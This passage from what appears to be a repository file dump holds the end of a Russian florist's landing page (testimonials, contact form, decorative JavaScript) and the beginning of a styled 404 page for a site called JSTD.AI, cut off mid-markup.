class=\"process-card-tag\">Шаг 02</div>\n                    <h4>Концепция</h4>\n                    <p>Подбираю цветы, оттенки и форму. Покажу референсы, согласуем детали и утверждаем финальный дизайн будущего букета.</p>\n                </div>\n            </div>\n\n            <div class=\"process-step reveal\" style=\"transition-delay:0.3s\">\n                <div class=\"process-card\" data-num=\"03\">\n                    <span class=\"process-icon\"><svg width=\"26\" height=\"26\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <circle cx=\"6\" cy=\"6.5\" r=\"2.5\" />\n                            <circle cx=\"6\" cy=\"17.5\" r=\"2.5\" />\n                            <path d=\"M8.2 5.2 L20 19 M8.2 18.8 L20 5\" />\n                        </svg></span>\n                    <div class=\"process-card-tag\">Шаг 03</div>\n                    <h4>Создание</h4>\n                    <p>Собираю букет в день доставки исключительно из свежих цветов. Каждая деталь упаковки подобрана с вниманием к стилю.</p>\n                </div>\n                <div class=\"process-dot\">\n                    <div class=\"process-dot-inner\">03</div>\n                </div>\n                <div class=\"process-empty\"></div>\n            </div>\n\n            <div class=\"process-step reveal\" style=\"transition-delay:0.45s\">\n                <div class=\"process-empty\"></div>\n                <div class=\"process-dot\">\n                    <div class=\"process-dot-inner\">04</div>\n                </div>\n                <div class=\"process-card\" data-num=\"04\">\n                    <span class=\"process-icon\"><svg width=\"26\" height=\"26\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <rect x=\"2\" y=\"10\" width=\"20\" height=\"8\" rx=\"2\" />\n                            <path d=\"M5 10 L7 5 L17 5 L19 10\" />\n                            <circle cx=\"7\" cy=\"18\" r=\"2\" />\n                            <circle cx=\"17\" cy=\"18\" r=\"2\" />\n                            <line x1=\"9\" y1=\"18\" x2=\"15\" y2=\"18\" />\n                        </svg></span>\n                    <div class=\"process-card-tag\">Шаг 04</div>\n                    <h4>Доставка</h4>\n                    <p>Привожу лично или отправляю надёжным курьером — букет прибывает в идеальном виде точно в срок и с улыбкой.</p>\n                </div>\n            </div>\n\n        </div>\n    </section>\n\n    <!-- ══════════════════════ TESTIMONIALS ══════════════════════ -->\n    <section id=\"testimonials\">\n        <div class=\"testimonials-header reveal\">\n            <p class=\"section-label\" style=\"justify-content:center\">Отзывы</p>\n            <h2 class=\"section-title\">Говорят <em>клиенты</em></h2>\n        </div>\n\n        <div class=\"testimonials-track\">\n            <div class=\"testimonial-card reveal\">\n                <div class=\"stars\"><span>★</span><span>★</span><span>★</span><span>★</span><span>★</span></div>\n                <p>«Заказывала букет на годовщину свадьбы — Анастасия создала что-то невероятное. Муж был поражён. Живые пионы, бархатная лента и вкусный аромат. Продли нам вечер минимум на час!»</p>\n                <div class=\"testimonial-author\">\n                    <div class=\"author-avatar\">М</div>\n                    <div>\n                        <div class=\"author-name\">Мария Кузнецова</div>\n                        <div class=\"author-date\">Январь 2026</div>\n                    </div>\n                </div>\n            </div>\n            <div class=\"testimonial-card reveal\" style=\"transition-delay:0.1s\">\n                <div class=\"stars\"><span>★</span><span>★</span><span>★</span><span>★</span><span>★</span></div>\n                <p>«Свадебный букет был просто мечтой. Анастасия учла каждую деталь платья и декора зала. Цветы простояли свежими три дня после торжества — это невероятно!»</p>\n                <div class=\"testimonial-author\">\n                    <div class=\"author-avatar\">О</div>\n                    <div>\n                        <div class=\"author-name\">Ольга Тимофеева</div>\n                        <div class=\"author-date\">Ноябрь 2025</div>\n                    </div>\n                </div>\n            </div>\n            <div class=\"testimonial-card reveal\" style=\"transition-delay:0.2s\">\n                <div class=\"stars\"><span>★</span><span>★</span><span>★</span><span>★</span><span>★</span></div>\n                <p>«Делаю заказы уже больше года — ни разу не разочаровался. Цены адекватные, скорость замечательная, а качество на уровне топовых студий. Рекомендую всем!»</p>\n                <div class=\"testimonial-author\">\n                    <div class=\"author-avatar\">А</div>\n                    <div>\n                        <div class=\"author-name\">Алексей Романов</div>\n                        <div class=\"author-date\">Февраль 2026</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ══════════════════════ CTA ══════════════════════ -->\n    <section id=\"cta\">\n        <div class=\"cta-inner reveal\">\n            <p class=\"section-label\" style=\"justify-content:center\">Готовы заказать?</p>\n            <h2 class=\"section-title\">Создадим <em>идеальный</em> букет вместе</h2>\n            <p>Напишите мне — обсудим детали, подберём цветы и я создам что-то особенное специально для вас.</p>\n            <div style=\"display:flex;gap:1.2rem;justify-content:center;flex-wrap:wrap\">\n                <a href=\"#contact\" class=\"btn-primary\"><span>Написать Анастасии</span></a>\n                <a href=\"#\" class=\"btn-ghost\">WhatsApp</a>\n            </div>\n        </div>\n    </section>\n\n    <!-- ══════════════════════ CONTACT ══════════════════════ -->\n    <section id=\"contact\">\n        <div class=\"contact-info\">\n            <p class=\"section-label\">Контакты</p>\n            <h2 class=\"section-title reveal\">Давайте <em>поговорим</em></h2>\n            <p class=\"contact-desc reveal\">\n                Заказы принимаю ежедневно с 9:00 до 21:00. Отвечаю в течение 1 часа. Доставка по всему г. Тандем и области.\n            </p>\n            <div class=\"contact-links reveal\">\n                <a href=\"tel:+7XXXXXXXXXX\" class=\"contact-link\">\n                    <div class=\"link-icon\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M5 4h4l2 5-2.5 1.5a11 11 0 0 0 5 5L15 13l5 2v4a2 2 0 0 1-2 2C7 21 2 16 2 6a2 2 0 0 1 2-2h1z\" />\n                        </svg></div>\n                    <div>\n                        <div class=\"link-label\">Телефон</div>\n                        <div class=\"link-value\">+7 (XXX) XXX-XX-XX</div>\n                    </div>\n                </a>\n                <a href=\"#\" class=\"contact-link\">\n                    <div class=\"link-icon\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M4 3h16a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H8l-6 5V5a2 2 0 0 1 2-2z\" />\n                        </svg></div>\n                    <div>\n                        <div class=\"link-label\">WhatsApp / Telegram</div>\n                        <div class=\"link-value\">@anastasia_flowers</div>\n                    </div>\n                </a>\n                <a href=\"#\" class=\"contact-link\">\n                    <div class=\"link-icon\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M23 19a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h4l2-3h6l2 3h4a2 2 0 0 1 2 2z\" />\n                            <circle cx=\"12\" cy=\"13\" r=\"4\" />\n                        </svg></div>\n                    <div>\n                        <div class=\"link-label\">Instagram</div>\n                        <div class=\"link-value\">@anastasia.florist</div>\n                    </div>\n                </a>\n            </div>\n        </div>\n\n        <form class=\"contact-form reveal\" id=\"contact-form\" onsubmit=\"handleSubmit(event)\">\n            <div class=\"form-row\">\n                <div class=\"field\">\n                    <label>Ваше имя</label>\n                    <input type=\"text\" placeholder=\"Мария\" required />\n                </div>\n                <div class=\"field\">\n                    <label>Телефон</label>\n                    <input type=\"tel\" placeholder=\"+7 (999) 000-00-00\" required />\n                </div>\n            </div>\n            <div class=\"field\">\n                <label>Тип заказа</label>\n                <select>\n                    <option value=\"\">Выберите тип</option>\n                    <option>Авторский букет</option>\n                    <option>Свадебная флористика</option>\n                    <option>Цветочная коробка</option>\n                    <option>Корпоративный декор</option>\n                    <option>Другое</option>\n                </select>\n            </div>\n            <div class=\"field\">\n                <label>Сообщение</label>\n                <textarea placeholder=\"Расскажите о вашем пожелании — повод, цвета, бюджет...\"></textarea>\n            </div>\n            <button type=\"submit\" class=\"form-submit\">Отправить заявку →</button>\n        </form>\n    </section>\n\n    <!-- ══════════════════════ FOOTER ══════════════════════ -->\n    <footer>\n        <a href=\"#hero\" class=\"nav-logo\">Ana<span>stasia</span></a>\n        <p class=\"footer-copy\">© 2026 Анастасия · Флорист · Москва</p>\n        <div class=\"footer-social\">\n            <a href=\"#\" class=\"social-btn\" title=\"Instagram\">IG</a>\n            <a href=\"#\" class=\"social-btn\" title=\"Telegram\">TG</a>\n            <a href=\"#\" class=\"social-btn\" title=\"VK\">VK</a>\n        </div>\n    </footer>\n\n    <!-- ══════════════════════ JAVASCRIPT ══════════════════════ -->\n    <script>\n        // ─── Custom Cursor ───────────────────────────────────────\n        if (window.matchMedia('(pointer: fine)').matches) {\n            const cursor = document.getElementById('cursor');\n            const ring = document.getElementById('cursor-ring');\n            let mx = 0,\n                my = 0,\n                rx = 0,\n                ry = 0;\n\n            // ─── Cursor petal trail ──────────────────────────────────\n            let lastPetalX = 0, lastPetalY = 0;\n            const PETAL_DIST = 20;\n\n            document.addEventListener('mousemove', e => {\n                mx = e.clientX;\n                my = e.clientY;\n                cursor.style.left = mx + 'px';\n                cursor.style.top = my + 'px';\n\n                const dx = mx - lastPetalX, dy = my - lastPetalY;\n                if (dx * dx + dy * dy < PETAL_DIST * PETAL_DIST) return;\n                lastPetalX = mx;\n                lastPetalY = my;\n\n                const p = document.createElement('div');\n                p.className = 'trail-petal';\n                const size = 4 + Math.random() * 6;\n                p.style.cssText = `\n                    left: ${mx}px;\n                    top: ${my}px;\n                    width: ${size}px;\n                    height: ${(size * 1.55).toFixed(1)}px;\n                    background: hsl(${(340 + Math.random() * 28).toFixed(0)}deg 72% ${(68 + Math.random() * 14).toFixed(0)}%);\n                    --r: ${(Math.random() * 360).toFixed(0)}deg;\n                `;\n                document.body.appendChild(p);\n                p.addEventListener('animationend', () => p.remove(), { once: true });\n            });\n\n            (function animRing() {\n                rx += (mx - rx) * 0.14;\n                ry += (my - ry) * 0.14;\n                ring.style.left = rx + 'px';\n                ring.style.top = ry + 'px';\n                requestAnimationFrame(animRing);\n            })();\n\n            document.querySelectorAll('a, button, .gallery-item, .service-card, .stat-card, .contact-link').forEach(el => {\n                el.addEventListener('mouseenter', () => {\n                    cursor.style.transform = 'translate(-50%, -50%) scale(2)';\n                    ring.style.width = '56px';\n                    ring.style.height = '56px';\n                    ring.style.opacity = '0.3';\n                });\n                el.addEventListener('mouseleave', () => {\n                    cursor.style.transform = 'translate(-50%, -50%) scale(1)';\n                    ring.style.width = '38px';\n                    ring.style.height = '38px';\n                    ring.style.opacity = '0.55';\n                });\n            });\n        }\n\n        // ─── Scroll Progress ─────────────────────────────────────\n        const prog = document.getElementById('scroll-progress');\n        window.addEventListener('scroll', () => {\n            const pct = window.scrollY / (document.body.scrollHeight - window.innerHeight) * 100;\n            prog.style.width = pct + '%';\n        });\n\n        // ─── Nav on scroll ───────────────────────────────────────\n        const nav = document.getElementById('nav');\n        window.addEventListener('scroll', () => {\n            nav.classList.toggle('scrolled', window.scrollY > 40);\n        });\n\n        // ─── Reveal on scroll ────────────────────────────────────\n        const revealEls = document.querySelectorAll('.reveal, .reveal-left, .reveal-right');\n        const observer = new IntersectionObserver(entries => {\n            entries.forEach(e => {\n                if (e.isIntersecting) { e.target.classList.add('visible'); observer.unobserve(e.target); }\n            });\n        }, { threshold: 0.12 });\n        revealEls.forEach(el => observer.observe(el));\n\n        // ─── Floating Petals ─────────────────────────────────────\n        const petalContainer = document.getElementById('petals-container');\n        for (let i = 0; i < 18; i++) {\n            const p = document.createElement('div');\n            p.className = 'petal';\n            p.style.cssText = `\n      left: ${Math.random() * 100}vw;\n      width: ${4 + Math.random() * 6}px;\n      height: ${7 + Math.random() * 8}px;\n      animation-duration: ${6 + Math.random() * 10}s;\n      animation-delay: ${Math.random() * 12}s;\n      --petal-opacity: ${(0.1 + Math.random() * 0.25).toFixed(2)};\n      background: hsl(${340 + Math.random() * 30}deg 70% 70%);\n    `;\n            petalContainer.appendChild(p);\n        }\n\n        // ─── Lightbox ────────────────────────────────────────────\n        const lb = document.getElementById('lightbox');\n        const lbImg = document.getElementById('lightbox-img');\n        const lbClose = document.getElementById('lightbox-close');\n        let lbClearTimer = null;\n\n        document.querySelectorAll('.gallery-item').forEach(item => {\n            item.addEventListener('click', () => {\n                if (lbClearTimer) { clearTimeout(lbClearTimer); lbClearTimer = null; }\n                lbImg.src = item.dataset.img;\n                lb.classList.add('open');\n                document.body.style.overflow = 'hidden';\n            });\n        });\n        const closeLB = () => {\n            lb.classList.remove('open');\n            document.body.style.overflow = '';\n            lbClearTimer = setTimeout(() => { lbImg.src = ''; lbClearTimer = null; }, 400);\n        };\n        lbClose.addEventListener('click', closeLB);\n        lb.addEventListener('click', e => {\n            if (e.target === lb) closeLB();\n        });\n        document.addEventListener('keydown', e => {\n            if (e.key === 'Escape') closeLB();\n        });\n\n        // ─── Counter animation ───────────────────────────────────\n        function animateCounter(el) {\n            const target = parseFloat(el.dataset.target);\n            const suffix = el.dataset.suffix || '';\n            const dur = 1800;\n            const start = performance.now();\n            const update = now => {\n                const t = Math.min((now - start) / dur, 1);\n                const ease = 1 - Math.pow(1 - t, 3);\n                el.textContent = (target % 1 === 0 ?\n                    Math.round(ease * target) :\n                    (ease * target).toFixed(1)) + suffix;\n                if (t < 1) requestAnimationFrame(update);\n            };\n            requestAnimationFrame(update);\n        }\n\n        // ─── Mobile nav ──────────────────────────────────────────\n        const burger = document.getElementById('nav-burger');\n        const mobPanel = document.getElementById('mob-panel');\n        let mobileOpen = false;\n\n        function setMobileMenu(open) {\n            mobileOpen = open;\n            burger.classList.toggle('open', open);\n            mobPanel.classList.toggle('open', open);\n            // Компенсируем ширину скроллбара, чтобы страница не прыгала\n            const sbW = open ? (window.innerWidth - document.documentElement.clientWidth) : 0;\n            document.body.style.overflow = open ? 'hidden' : '';\n            document.body.style.paddingRight = open ? sbW + 'px' : '';\n        }\n\n        burger.addEventListener('click', () => setMobileMenu(!mobileOpen));\n        document.querySelectorAll('#mob-panel a').forEach(a => {\n            a.addEventListener('click', () => { if (mobileOpen) setMobileMenu(false); });\n        });\n\n        // ─── Form submit ─────────────────────────────────────────\n        function handleSubmit(e) {\n            e.preventDefault();\n            const btn = e.target.querySelector('.form-submit');\n            btn.textContent = '✓ Заявка отправлена!';\n            btn.style.background = 'linear-gradient(135deg, #2e7d32, #4caf50)';\n            btn.style.boxShadow = '0 0 30px rgba(76,175,80,0.4)';\n            setTimeout(() => {\n                btn.textContent = 'Отправить заявку →';\n                btn.style.background = '';\n                btn.style.boxShadow = '';\n                e.target.reset();\n            }, 3500);\n        }\n    </script>\n\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/404.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\" translate=\"no\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <script>\n        ! function () {\n            var l = localStorage.getItem('jstd_lang') || (navigator.language || '').slice(0, 2);\n            if (l !== 'ru') document.documentElement.classList.add('lang-loading');\n        }();\n    </script>\n    <title>404 — JSTD.AI</title>\n    <meta name=\"google\" content=\"notranslate\" />\n    <meta name=\"robots\" content=\"noindex, nofollow\" />\n    <link rel=\"icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <link rel=\"shortcut icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <link id=\"maincss\" rel=\"stylesheet\" href=\"/styles/main.css\" />\n    <script>!function () { var h = location.hostname; if (h === 'localhost' || h === '127.0.0.1' || h === '' || location.protocol === 'file:') document.getElementById('maincss').href = 'styles/main.css'; }();</script>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Space+Mono:wght@400;700&display=swap\" rel=\"stylesheet\" />\n    <style>\n        /* ── 404 PAGE ─────────────────────────────── */\n\n        .page-404 {\n            min-height: 100vh;\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            justify-content: center;\n            padding: 100px 32px 80px;\n            position: relative;\n            z-index: 1;\n            text-align: center;\n            overflow: hidden;\n        }\n\n        .page-404__grid {\n            position: absolute;\n            inset: 0;\n            background-image: linear-gradient(rgba(255, 51, 102, .035) 1px, transparent 1px), linear-gradient(90deg, rgba(255, 51, 102, .035) 1px, transparent 1px);\n            background-size: 56px 56px;\n            pointer-events: none;\n            mask-image: radial-gradient(ellipse 70% 70% at 50% 50%, black 30%, transparent 100%);\n        }\n\n        /* ── Big 404 glyph ───────────────────────── */\n\n        .error-code {\n            position: relative;\n            display: inline-block;\n            font-family: var(--mono);\n            font-size: clamp(100px, 22vw, 220px);\n            font-weight: 700;\n            line-height: 1;\n            letter-spacing: -8px;\n            color: transparent;\n            cursor: pointer;\n            user-select: none;\n            -webkit-user-select: none;\n            margin-bottom: 8px;\n        }\n\n        .error-code__front,\n        .error-code__back {\n            position: absolute;\n            inset: 0;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .error-code__back {\n            color: rgba(255, 51, 102, .12);\n            filter: blur(1px);\n            transform: translate(4px, 4px);\n        }\n\n        .error-code__front {\n            color: var(--red);\n            text-shadow: 0 0 60px rgba(255, 51, 102, .35), 0 0 120px rgba(255, 51, 102, .15);\n        }\n\n        /* clip glitch on hover */\n\n        .error-code:hover .error-code__front {\n            animation: glitchHover .25s steps(2) infinite;\n        }\n\n        @keyframes glitchHover {\n            0% {\n                clip-path: polygon(0 0, 100% 0, 100% 42%, 0 42%);\n                transform: translateX(-3px);\n            }\n\n            25% {\n                clip-path: polygon(0 44%, 100% 44%, 100% 100%, 0 100%);\n                transform: translateX(3px);\n            }\n\n            50% {\n                clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);\n                transform: none;\n            }\n\n            100% {\n                clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);\n                transform: none;\n            }\n        }\n\n        /* placeholder for real text height */\n\n        .error-code__text {\n            opacity: 0;\n            pointer-events: none;\n        }\n\n        /* scan line sweeping over the number */\n\n        .error-code__scan {\n            position: absolute;\n            left: -6%;\n            right: -6%;\n            height: 3px;\n            background: linear-gradient(90deg, transparent, rgba(255, 51, 102, .7) 40%, rgba(255, 255, 255, .9) 50%, rgba(255, 51, 102, .7) 60%, transparent);\n            box-shadow: 0 0 12px var(--red);\n            animation: scanLine 3s linear infinite;\n            pointer-events: none;\n        }\n\n        @keyframes scanLine {\n            0% {\n                top: -2%;\n                opacity: 1;\n            }\n\n            90% {\n                opacity: 1;\n            }\n\n            100% {\n                top: 102%;\n                opacity: 0;\n            }\n        }\n\n        /* click ripple hint */\n\n        .error-code__hint {\n            position: absolute;\n            bottom: -28px;\n            left: 50%;\n            transform: translateX(-50%);\n            font-family: var(--mono);\n            font-size: 10px;\n            color: var(--text-3);\n            text-transform: uppercase;\n            letter-spacing: 1.5px;\n            white-space: nowrap;\n            animation: hintPulse 2.5s ease-in-out infinite;\n        }\n\n        @keyframes hintPulse {\n\n            0%,\n            100% {\n                opacity: .4;\n            }\n\n            50% {\n                opacity: 1;\n            }\n        }\n\n        /* ── Counter ring ────────────────────────── */\n\n        .click-ring {\n            position: absolute;\n            inset: -12px;\n            border-radius: 4px;\n            pointer-events: none;\n        }\n\n        .click-ring__arc {\n            position: absolute;\n            inset: 0;\n            border: 2px solid transparent;\n            border-radius: 4px;\n            transition: border-color .3s, box-shadow .3s;\n        }\n\n        .click-ring__arc--1 {\n            border-top-color: var(--red);\n        }\n\n        .click-ring__arc--2 {\n            border-top-color: var(--red);\n            border-right-color: var(--red);\n        }\n\n        .click-ring__arc--3 {\n            border-top-color: var(--red);\n            border-right-color: var(--red);\n            border-bottom-color: var(--red);\n        }\n\n        .click-ring__arc--4 {\n            border-color: var(--red);\n            box-shadow: 0 0 20px rgba(255, 51, 102, .4);\n        }\n\n        .click-ring__arc--inactive {\n            border-color: transparent !important;\n            box-shadow: none !important;\n        }\n\n        /* ── Subtitle / body ─────────────────────── */\n\n        .error-label {\n            margin-top: 60px;\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            padding: 5px 14px;\n            border: 1px solid rgba(255, 51, 102, .3);\n            background: rgba(255, 51, 102, .05);\n            font-family: var(--mono);\n            font-size: 11px;\n            color: var(--red);\n            text-transform: uppercase;\n            letter-spacing: 1.5px;\n            margin-bottom: 24px;\n        }\n\n        .error-title {\n            font-size: clamp(22px, 3vw, 36px);\n            font-weight: 700;\n            letter-spacing: -1px;\n            line-height: 1.25;\n            color: var(--text);\n            margin-bottom: 16px;\n        }\n\n        .error-desc {\n            color: var(--text-2);\n            font-size: 15px;\n            max-width: 480px;\n            line-height: 1.7;\n            margin: 0 auto 36px;\n        }\n\n        .error-desc code {\n            font-family: var(--mono);\n            color: var(--cyan);\n            font-size: 13px;\n            background: rgba(0, 212, 255, .07);\n            padding: 1px 6px;\n        }\n\n        .error-actions {\n            display: flex;\n            gap: 12px;\n            justify-content: center;\n            flex-wrap: wrap;\n            margin-bottom: 56px;\n        }\n\n        /* ── Terminal block ──────────────────────── */\n\n        .error-terminal {\n            background: rgba(0, 0, 0, .45);\n            border: 1px solid var(--border);\n            padding: 20px 24px;\n            max-width: 480px;\n            width: 100%;\n            text-align: left;\n            font-family: var(--mono);\n            font-size: 12px;\n            line-height: 2;\n            color: var(--text-3);\n            position: relative;\n        }\n\n        .error-terminal__bar {\n            position: absolute;\n            top: 0;\n            left: 0;\n            right: 0;\n            height: 28px;\n            background: rgba(255, 255, 255, .03);\n            border-bottom: 1px solid var(--border-2);\n            display: flex;\n            align-items: center;\n            gap: 6px;\n            padding: 0 12px;\n        }\n\n        .error-terminal__dot {\n            width: 7px;\n            height: 7px;\n            border-radius: 50%;\n        }\n\n        .error-terminal__dot:nth-child(1) {\n            background: #ff5f57;\n        }\n\n        .error-terminal__dot:nth-child(2) {\n            background: #febc2e;\n        }\n\n        .error-terminal__dot:nth-child(3) {\n            background: #28c840;\n        }\n\n        .error-terminal__body {\n            margin-top: 28px;\n        }\n\n        .t-line {\n            display: block;\n        }\n\n        .t-cmd {\n            color: var(--cyan);\n        }\n\n        .t-ok {\n            color: var(--green);\n        }\n\n        .t-err {\n            color: var(--red);\n        }\n\n        .t-dim {\n            color: var(--text-3);\n        }\n\n        .t-cursor {\n            display: inline-block;\n            width: 8px;\n            height: 14px;\n            background: var(--cyan);\n            vertical-align: middle;\n            animation: blink .9s step-start infinite;\n            margin-left: 2px;\n        }\n\n        @keyframes blink {\n            50% {\n                opacity: 0;\n            }\n        }\n\n        /* ── Easter egg overlay ──────────────────── */\n\n        .easter-overlay {\n            position: fixed;\n            inset: 0;\n            z-index: 200;\n            background: rgba(6, 9, 17, .82);\n            backdrop-filter: blur(6px);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            opacity: 0;\n            pointer-events: none;\n            transition: opacity .35s;\n        }\n\n        .easter-overlay.is-visible {\n            opacity: 1;\n            pointer-events: all;\n        }\n\n        .easter-card {\n            background: var(--bg-card);\n            border: 1px solid rgba(167, 139, 250, .4);\n            box-shadow: 0 0 60px rgba(167, 139, 250, .12), 0 0 0 1px rgba(167, 139, 250, .08) inset;\n            padding: 36px 40px;\n            max-width: 460px;\n            width: 90%;\n            text-align: left;\n            position: relative;\n            animation: easterIn .4s cubic-bezier(.34, 1.56, .64, 1) forwards;\n            transform: scale(.85);\n            opacity: 0;\n        }\n\n        .easter-overlay.is-visible .easter-card {\n            animation: easterIn .4s cubic-bezier(.34, 1.56, .64, 1) .05s forwards;\n        }\n\n        @keyframes easterIn {\n            to {\n                transform: scale(1);\n                opacity: 1;\n            }\n        }\n\n        .easter-card__tag {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            font-family: var(--mono);\n            font-size: 10px;\n            color: var(--purple);\n            text-transform: uppercase;\n            letter-spacing: 1.5px;\n            margin-bottom: 20px;\n            border: 1px solid rgba(167, 139, 250, .25);\n            padding: 4px 10px;\n            background: rgba(167, 139, 250, .06);\n        }\n\n        .easter-card__tag-dot {\n            width: 6px;\n            height: 6px;\n            background: var(--purple);\n            box-shadow: 0 0 6px var(--purple);\n            border-radius: 50%;\n            animation: dotPulse 1.2s ease-in-out infinite;\n        }\n\n        @keyframes dotPulse {\n\n            0%,\n            100% {\n                transform: scale(1);\n                opacity: 1;\n            }\n\n            50% {\n                transform: scale(1.6);\n                opacity: .6;\n            }\n        }\n\n        .easter-card__title {\n            font-size: 28px;\n            font-weight: 700;\n            letter-spacing: -0.8px;\n            line-height: 1.2;\n            color: var(--text);\n            margin-bottom: 20px;\n        }\n\n        .easter-card__title em {\n            font-style: normal;\n            color: var(--purple);\n            text-shadow: 0 0 24px rgba(167, 139, 250, .5);\n        }\n\n        .easter-card__rows {\n            display: flex;\n            flex-direction: column;\n            gap: 10px;\n            margin-bottom: 24px;\n            font-family: var(--mono);\n            font-size: 12px;\n        }\n\n        .easter-row {\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            padding: 8px 12px;\n            background: rgba(0, 0, 0, .3);\n            border-left: 2px solid;\n        }\n\n        .easter-row--purple {\n            border-color: var(--purple);\n        }\n\n        .easter-row--cyan {\n            border-color: var(--cyan);\n        }\n\n        .easter-row--amber {\n            border-color: var(--amber);\n        }\n\n        .easter-row__label {\n            color: var(--text-3);\n        }\n\n        .easter-row--purple .easter-row__val {\n            color: var(--purple);\n        }\n\n        .easter-row--cyan .easter-row__val {\n            color: var(--cyan);\n        }\n\n        .easter-row--amber .easter-row__val {\n            color: var(--amber);\n        }\n\n        .easter-card__bar {\n            height: 3px;\n            background: rgba(167, 139, 250, .15);\n            overflow: hidden;\n            margin-bottom: 24px;\n        }\n\n        .easter-card__bar-fill {\n            height: 100%;\n            width: 0;\n            background: linear-gradient(90deg, var(--purple), var(--cyan));\n            transition: width 1.2s cubic-bezier(.4, 0, .2, 1) .3s;\n            box-shadow: 0 0 10px var(--purple);\n        }\n\n        .easter-overlay.is-visible .easter-card__bar-fill {\n            width: 100%;\n        }\n\n        .easter-card__close {\n            position: absolute;\n            top: 16px;\n            right: 16px;\n            background: none;\n            border: 1px solid var(--border-2);\n            color: var(--text-3);\n            cursor: pointer;\n            width: 28px;\n            height: 28px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            transition: border-color var(--trans), color var(--trans);\n        }\n\n        .easter-card__close:hover {\n            border-color: var(--purple);\n            color: var(--purple);\n        }\n\n        .easter-card__footer {\n            font-family: var(--mono);\n            font-size: 11px;\n            color: var(--text-3);\n            border-top: 1px solid var(--border-2);\n            padding-top: 16px;\n        }\n\n        .easter-card__footer span {\n            color: var(--green);\n        }\n\n        /* ── Click ripple burst ───────────────────── */\n\n        .ripple-burst {\n            position: fixed;\n            border-radius: 50%;\n            background: radial-gradient(circle, rgba(255, 51, 102, .35) 0%, transparent 70%);\n            pointer-events: none;\n            transform: scale(0);\n            animation: burstAnim .5s ease-out forwards;\n            z-index: 10;\n        }\n\n        @keyframes burstAnim {\n            to {\n                transform: scale(1);\n                opacity: 0;\n            }\n        }\n\n        /* ── Floating noise particles ────────────── */\n\n        .particle {\n            position: fixed;\n            width: 2px;\n            height: 2px;\n            background: var(--red);\n            border-radius: 50%;\n            pointer-events: none;\n            opacity: 0;\n            z-index: 0;\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- ░░ CANVAS STARFIELD ░░ -->\n    <canvas id=\"starfield\"></canvas>\n\n    <!-- ░░ NAV ░░ -->\n    <nav class=\"nav\">\n        <div class=\"nav__inner\">\n            <a href=\"/\" class=\"nav__logo\">\n                <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" aria-hidden=\"true\">\n                    <path d=\"M16 2L4 7.5V16C4 22.627 9.373 28 16 28C22.627 28 28 22.627 28 16V7.5L16 2Z\" stroke=\"#00d4ff\" stroke-width=\"1.5\" fill=\"none\" />\n                    <path d=\"M16 7L9 10.25V16C9 19.866 12.134 23 16 23C19.866 23 23 19.866 23 16V10.25L16 7Z\" fill=\"#00d4ff\" fill-opacity=\"0.12\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                    <path d=\"M13 16L15.5 18.5L20 13\" stroke=\"#00d4ff\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    <circle cx=\"16\" cy=\"16\" r=\"1.5\" fill=\"#00d4ff\" />\n                </svg>\n                <span class=\"nav__logo-text\">JSTD<span class=\"brand-accent\">.AI</span></span>\n            </a>\n            <ul class=\"nav__links\">\n                <li><a href=\"/#how-it-works\" data-i18n=\"nav.how\">Принцип работы</a></li>\n                <li><a href=\"/#algorithms\" data-i18n=\"nav.algorithms\">Алгоритмы</a></li>\n                <li><a href=\"/#docs\" data-i18n=\"nav.docs\">Документация</a></li>\n                <li><a href=\"/#testimonials\" data-i18n=\"nav.testimonials\">Отзывы</a></li>\n                <li><a href=\"/\" class=\"nav__cta-link\" data-i18n=\"nav.home\">На главную</a></li>\n                <li class=\"nav__lang-switch\"><button class=\"lang-btn\" data-lang-switch=\"ru\">RU</button><span class=\"lang-sep\">/</span><button class=\"lang-btn\" data-lang-switch=\"en\">EN</button></li>\n            </ul>\n        </div>\n    </nav>\n\n    <!-- ░░ 404 MAIN ░░ -->\n    <main class=\"page-404\">\n        <div class=\"page-404__grid\"></div>\n\n        <!-- big number -->\n        <div class=\"error-code\" id=\"errorCode\">\n            <div class=\"click-ring\" id=\"clickRing\">\n                <div class=\"click-ring__arc click-ring__arc--inactive\" 